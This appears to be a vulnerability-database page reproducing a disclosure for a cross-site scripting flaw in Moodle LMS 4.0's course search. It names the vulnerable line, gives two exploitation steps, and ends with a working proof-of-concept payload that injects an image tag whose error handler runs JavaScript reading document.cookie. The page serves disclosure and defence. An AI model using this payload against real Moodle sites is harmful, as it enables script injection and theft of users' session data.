Moodle LMS 4.0 - Cross-Site Scripting (XSS)
| Reporter | Title | Published | Views | Family All 16 |
|---|---|---|---|---|
| Security fix for the ALT Linux 10 package moodle version 4.3.0-alt1 | 11 Oct 202312:00 | – | altlinux | |
| CVE-2022-50943 | 10 May 202612:12 | – | attackerkb | |
| Moodle cross-site scripting vulnerabilities | 10 May 202600:00 | – | cnnvd | |
| CVE-2022-50943 | 10 May 202612:12 | – | cve | |
| CVE-2022-50943 Moodle LMS 4.0 Cross-Site Scripting via course search.php | 10 May 202612:12 | – | cvelist | |
| EUVD-2022-55968 | 10 May 202615:31 | – | euvd | |
| CVE-2022-50943 | 10 May 202613:16 | – | nvd | |
| BIT-MOODLE-2022-50943 Moodle LMS 4.0 Cross-Site Scripting via course search.php | 28 May 202608:53 | – | osv_bit | |
| CVE-2022-50943 Moodle LMS 4.0 Cross-Site Scripting via course search.php | 10 May 202612:12 | – | osv_cve | |
| UBUNTU-CVE-2022-50943 | 10 May 202613:16 | – | osv_ubuntu |
10
# Exploit Title: Moodle LMS 4.0 - Cross-Site Scripting (XSS)
# Date: 26/10/2022
# Exploit Author: Saud Alenazi
# Vendor Homepage: https://moodle.org/
# Software Link: https://git.in.moodle.com/moodle
# Version: 4.0
# Tested on: XAMPP, Windows 10
# Contact: https://twitter.com/dmaral3noz
Description:
A Cross Site Scripting (XSS) vulnerability exists in Moodle is a free and open-source Learning Management System (LMS) written in PHP and distributed under the GNU General Public License
Vulnerable Code:
line 111 in file "course/search.php"
echo $courserenderer->search_courses($searchcriteria);
Steps to exploit:
1) Go to http://localhost/course/search.php
2) Insert your payload in the "search"
Proof of concept (Poc):
The following payload will allow you to run the javascript -
"><img src=# onerror=alert(document.cookie)>Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
23 Nov 2026 00:00Current
5.3Medium risk
Vulners AI Score5.3
CVSS 45.1
CVSS 3.16.1
EPSS0.00305
SSVC